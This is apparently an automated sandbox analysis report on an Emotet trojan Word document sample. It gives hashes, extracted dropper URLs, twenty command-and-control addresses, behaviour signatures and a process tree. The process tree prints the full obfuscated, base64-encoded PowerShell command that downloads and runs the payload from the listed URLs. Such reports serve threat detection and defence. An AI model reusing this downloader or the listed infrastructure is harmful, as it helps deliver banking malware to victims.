Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/08/2020, 15:56

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_25263694227734da43c741c2d09b0f0aceb8cb2d9488378a2ea765c6c19be594_2020-08-12__155346._doc.doc
  • Size 229KB
  • Sample200812-a5yqvwfamn
  • SHA256 25263694227734da43c741c2d09b0f0aceb8cb2d9488378a2ea765c6c19be594
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://innovatex24.com/catalogmap/tbrc_l6q4g_bq0g4598kw/
  • exe.dropper

    http://jonsonen.com/old/ow_0q4_y02/
  • exe.dropper

    http://nuwaraeliyataxis.com/wp-admin/ynfpz_vw_fm/
  • exe.dropper

    https://inquimais.com/plugins/rmkq_c_i8/
  • exe.dropper

    http://armahouse.com/wp-includes/bf_2g_zqm31/

Extracted

Family

  • emotet

C2

  • 174.102.48.180:80

  • 88.217.172.164:443

  • 51.75.33.120:8080

  • 62.138.26.28:8080

  • 169.239.182.217:8080

  • 114.146.222.200:80

  • 116.203.32.252:8080

  • 103.86.49.11:8080

  • 74.120.55.163:80

  • 41.60.200.34:80

  • 209.182.216.177:443

  • 157.245.99.39:8080

  • 87.106.139.101:8080

  • 152.168.248.128:443

  • 104.236.246.93:8080

  • 47.144.21.12:443

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 72.12.127.184:443

  • 61.19.246.238:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_25263694227734da43c741c2d09b0f0aceb8cb2d9488378a2ea765c6c19be594_2020-08-12__155346._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1164
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABXAE0AUgBFAE8AaQB4AG8APQAnAEYAQQBJAEcAWgBlAGIAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAHUAYABSAGkAdABZAHAAUgBPAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAFQAVABEAFEAZgBrAGQAIAA9ACAAJwA4ADYAMgAnADsAJABLAEoARwBUAEIAcQBoAGYAPQAnAEcASABSAFEAUwBjAHkAbwAnADsAJABXAEQAWQBLAE8AdgBzAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQAVABUAEQAUQBmAGsAZAArACcALgBlAHgAZQAnADsAJABSAFAAUQBNAFoAZwBtAGIAPQAnAE4AVABQAEMASQBqAGkAcwAnADsAJABBAEUASgBWAEYAawBlAHoAPQAuACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAFUAWQBCAEwARAB1AGIAeQA9ACcAaAB0AHQAcABzADoALwAvAGkAbgBuAG8AdgBhAHQAZQB4ADIANAAuAGMAbwBtAC8AYwBhAHQAYQBsAG8AZwBtAGEAcAAvAHQAYgByAGMAXwBsADYAcQA0AGcAXwBiAHEAMABnADQANQA5ADgAawB3AC8AKgBoAHQAdABwADoALwAvAGoAbwBuAHMAbwBuAGUAbgAuAGMAbwBtAC8AbwBsAGQALwBvAHcAXwAwAHEANABfAHkAMAAyAC8AKgBoAHQAdABwADoALwAvAG4AdQB3AGEAcgBhAGUAbABpAHkAYQB0AGEAeABpAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHkAbgBmAHAAegBfAHYAdwBfAGYAbQAvACoAaAB0AHQAcABzADoALwAvAGkAbgBxAHUAaQBtAGEAaQBzAC4AYwBvAG0ALwBwAGwAdQBnAGkAbgBzAC8AcgBtAGsAcQBfAGMAXwBpADgALwAqAGgAdAB0AHAAOgAvAC8AYQByAG0AYQBoAG8AdQBzAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGIAZgBfADIAZwBfAHoAcQBtADMAMQAvACcALgAiAFMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBUAFEATwBHAGMAZQBoAD0AJwBOAEsAUQBFAEIAcABqAHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEsAWQBXAEEAVgBjAHYAYgAgAGkAbgAgACQAVQBZAEIATABEAHUAYgB5ACkAewB0AHIAeQB7ACQAQQBFAEoAVgBGAGsAZQB6AC4AIgBEAG8AdwBOAGwAYABPAGAAQQBgAEQARgBJAEwAZQAiACgAJABLAFkAVwBBAFYAYwB2AGIALAAgACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEwAWQBKAEEARwB6AHUAdQA9ACcARABFAFoASQBIAHoAbABpACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAVwBEAFkASwBPAHYAcwBjACkALgAiAEwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADYANQA5ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAYQB0AGUAIgAoACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEQASQBOAEkAUwB5AHoAcgA9ACcASQBTAFoAUwBTAGIAeAB1ACcAOwBiAHIAZQBhAGsAOwAkAFAATQBRAFQATABxAGIAZAA9ACcARgBDAFIAVABTAHQAaABuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAUABSAEIASABoAHEAbQA9ACcARABMAEgARwBKAGYAZQBzACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1112
  • C:\Users\Admin\862.exe
    C:\Users\Admin\862.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\SysWOW64\KBDUSL\DisplaySwitch.exe
      "C:\Windows\SysWOW64\KBDUSL\DisplaySwitch.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1664

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1112-9-0x000007FEE9E70000-0x000007FEEA85C000-memory.dmp
        Download

        memory/1112-17-0x000000001C710000-0x000000001C711000-memory.dmp
        Download

        memory/1112-12-0x0000000001E40000-0x0000000001E41000-memory.dmp
        Download

        memory/1112-13-0x000000001AC60000-0x000000001AC61000-memory.dmp
        Download

        memory/1112-14-0x00000000024F0000-0x00000000024F1000-memory.dmp
        Download

        memory/1112-15-0x0000000001E80000-0x0000000001E81000-memory.dmp
        Download

        memory/1112-16-0x000000001C240000-0x000000001C241000-memory.dmp
        Download

        memory/1164-2-0x0000000008950000-0x0000000008954000-memory.dmp
        Download

        memory/1164-10-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1164-6-0x000000000BAC0000-0x000000000BAC4000-memory.dmp
        Download

        memory/1164-5-0x000000000AA40000-0x000000000AA44000-memory.dmp
        Download

        memory/1664-23-0x00000000003F0000-0x00000000003FC000-memory.dmp
        Download

        memory/1788-20-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1884-24-0x000007FEEF2F0000-0x000007FEEF56A000-memory.dmp
        Download